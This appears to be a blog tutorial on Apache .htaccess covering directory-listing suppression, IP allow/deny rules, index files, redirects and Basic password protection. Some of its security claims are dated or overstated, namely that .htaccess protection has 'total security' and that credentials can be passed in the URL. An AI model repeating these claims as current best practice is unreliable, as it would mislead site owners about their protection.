Introduction</h3>
<br />
In the last part I introduced you to .htaccess and some of its useful  features. In this part I will show you how to use the .htaccess file to  implement some of these.<br />
<br />
<h3 style="color: #000099;">
Stop A Directory Index From Being Shown</h3>
<br />
Sometimes, for one reason or another, you will have no index file in  your directory. This will, of course, mean that if someone types the  directory name into their browser, a full listing of all the files in  that directory will be shown. This could be a security risk for your  site.<br />
<br />
To prevent against this (without creating lots of new 'index' files, you  can enter a command into your .htaccess file to stop the directory list  from being shown:<br />
<div class="system">
Options -Indexes </div>
<br />
<h3 style="color: #000099;">
Deny/Allow Certian IP Addresses</h3>
In some situations, you may want to only allow people with specific IP  addresses to access your site (for example, only allowing people using a  particular ISP to get into a certian directory) or you may want to ban  certian IP addresses (for example, keeping disruptive memembers out of  your message boards). Of course, this will only work if you know the IP  addresses you want to ban and, as most people on the internet now have a  dynamic IP address, so this is not always the best way to limit usage.<br />
<br />
You can block an IP address by using: <br />
<div class="system pop">
deny from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range.<br />
<br />
You can allow an IP address by using: <br />
<div class="system pop">
allow from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range.<br />
<br />
If you want to deny everyone from accessing a directory, you can use:<br />
<div class="system pop">
deny from all</div>
 but this will still allow scripts to use the files in the directory.<br />
<br />
<h3 style="color: #000099;">
Alternative Index Files</h3>
<br />
You may not always want to use index.htm or index.html as your index  file for a directory, for example if you are using PHP files in your  site, you may want index.php to be the index file for a directory. You  are not limited to 'index' files though. Using .htaccess you can set  foofoo.blah to be your index file if you want to!<br />
<br />
Alternate index files are entered in a list. The server will work from  left to right, checking to see if each file exists, if none of them  exisit it will display a directory listing (unless, of course, you have  turned this off).<br />
<br />
<div class="content shadow-radial">
DirectoryIndex index.php index.php3 <a href="http://messagebrd.pl/" target="_blank">messagebrd.pl</a> index.html index.htm</div>
<br />
<br />
<h3 style="color: #000099;">
Redirection</h3>
<br />
One of the most useful functions of the .htaccess file is to redirect  requests to different files, either on the same server, or on a  completely different web site. It can be extremely useful if you change  the name of one of your files but allow users to still find it. Another  use (which I find very useful) is to redirect to a longer URL, for  example in my newsletters I can use a very short URL for my affiliate  links. The following can be done to redirect a specific file:<br />
<div class="content shadow-radial">
Redirect /location/from/root/file.ext <a href="http://www.othersite.com/new/file/location.xyz" target="_blank">http://www.othersite.com/new/file/location.xyz</a></div>
<br />
<br />
In this above example, a file in the root directory called oldfile.html would be entered as:<br />
<div class="content shadow-radial">
/oldfile.html  and a file in the old subdirectory would be entered as:  /old/oldfile.html</div>
<br />
You can also redirect whole directoires of your site using the .htaccess  file, for example if you had a directory called olddirectory on your  site and you had set up the same files on a new site at:  <a href="http://www.newsite.com/newdirectory/" target="_blank">http://www.newsite.com/newdirectory/</a> you could redirect all the files in  that directory without having to specify each one:<br />
<div class="content shadow-radial">
Redirect /olddirectory <a href="http://www.newsite.com/newdirectory" target="_blank">http://www.newsite.com/newdirectory</a></div>
<br />
Then, any request to your site below /olddirectory will bee redirected to the new site, with the extra information in the URL added on, for example if someone typed in:<br />
<br />
<span class="system pop"><a href="http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif" target="_blank">http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif</a></span><br />
They would be redirected to:<br />
<span class="system pop"><br />
<a href="http://www.newsite.com/newdirectory/oldfiles/images/image.gif" target="_blank">http://www.newsite.com/newdirectory/oldfiles/images/image.gif</a></span><br />
This can prove to be extremely powerful if used correctly.<br />
<br />
<h3 style="border: none;">
<a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Part3"></a>Part 3 - Password Protection</h3>
<br />
<h3 style="color: #000099;">
Introduction</h3>
<br />
Although there are many uses of the .htaccess file, by far the most  popular, and probably most useful, is being able to relaibly password  protect directories on websites. Although JavaScript etc. can also be  used to do this, only .htaccess has total security (as someone must know  the password to get into the directory, there are no 'back doors')<br />
<br />
<h3 style="color: #000099;">
The .htaccess File</h3>
<br />
Adding password protection to a directory using .htaccess takes two  stages. The first part is to add the appropriate lines to your .htaccess  file in the directory you would like to protect. Everything below this  directory will be password protected:<br />
<div class="content shadow-radial">
AuthName "Section Name"<br />
AuthType Basic<br />
AuthUserFile /full/path/to/.htpasswd<br />
Require valid-user</div>
<br />
There are a few parts of this which you will need to change for your  site. You should replace "Section Name" with the name of the part of the  site you are protecting e.g. "Members Area".<br />
<br />
The /full/parth/to/.htpasswd should be changed to reflect the full  server path to the .htpasswd file (more on this later). If you do not  know what the full path to your webspace is, contact your system  administrator for details.<br />
<br />
<h3 style="color: #000099;">
The .htpasswd File</h3>
<br />
Password protecting a directory takes a little more work than any of the  other .htaccess functions because you must also create a file to  contain the usernames and passwords which are allowed to access the  site. These should be placed in a file which (by default) should be  called .htpasswd. Like the .htaccess file, this is a file with no name  and an 8 letter extension. This can be placed anywhere within you  website (as the passwords are encrypted) but it is advisable to store it  outside the web root so that it is impossible to access it from the  web.<br />
<br />
<h3 style="color: #000099;">
Entering Usernames And Passwords</h3>
<br />
Once you have created your .htpasswd file (you can do this in a standard  text editor) you must enter the usernames and passwords to access the  site. They should be entered as follows:<br />
<div class="content shadow-radial">
username:password</div>
where the password is the encrypted format of the password. To encrypt  the password you will either need to use one of the premade scripts  available on the web or write your own. There is a good  username/password service at the KxS site which will allow you to enter  the user name and password and will output it in the correct format.<br />
<br />
For multiple users, just add extra lines to your .htpasswd file in the  same format as the first. There are even scripts available for free  which will manage the .htpasswd file and will allow automatic  adding/removing of users etc.<br />
<br />
<h3 style="color: #000099;">
Accessing The Site</h3>
<br />
When you try to access a site which has been protected by .htaccess your  browser will pop up a standard username/password dialog box. If you  don't like this, there are certain scripts available which allow you to  embed a username/password box in a website to do the authentication. You  can also send the username and password (unencrypted) in the URL as  follows:<br />
<span style="color: blue;"><br />
<a href="http://www.website.com/directory/" target="_blank">http://username:password@www.website.com/directory/</a><br />
</span><br />
<h3 style="color: #000099;">
Summary</h3>
<br />
.htaccess is one of the most useful files a webmaster can use. There are  a wide variety of different uses for it which can save time and  increase security on your website.</div>

Apache Hosting htaccess Linux Linux Tutorials OS Server .htaccess Tutorial

Part 1 - Introduction Part 2 - .htaccess Commands Part 3 - Password Protection Introduction In this tutorial you will find out ...

Tutorial on How to Hack Terminal Services

Install Backtrack 5 On Samsung Galaxy Tab

XSS cheat sheet

.htaccess Tutorial

Popular

Comments

Archive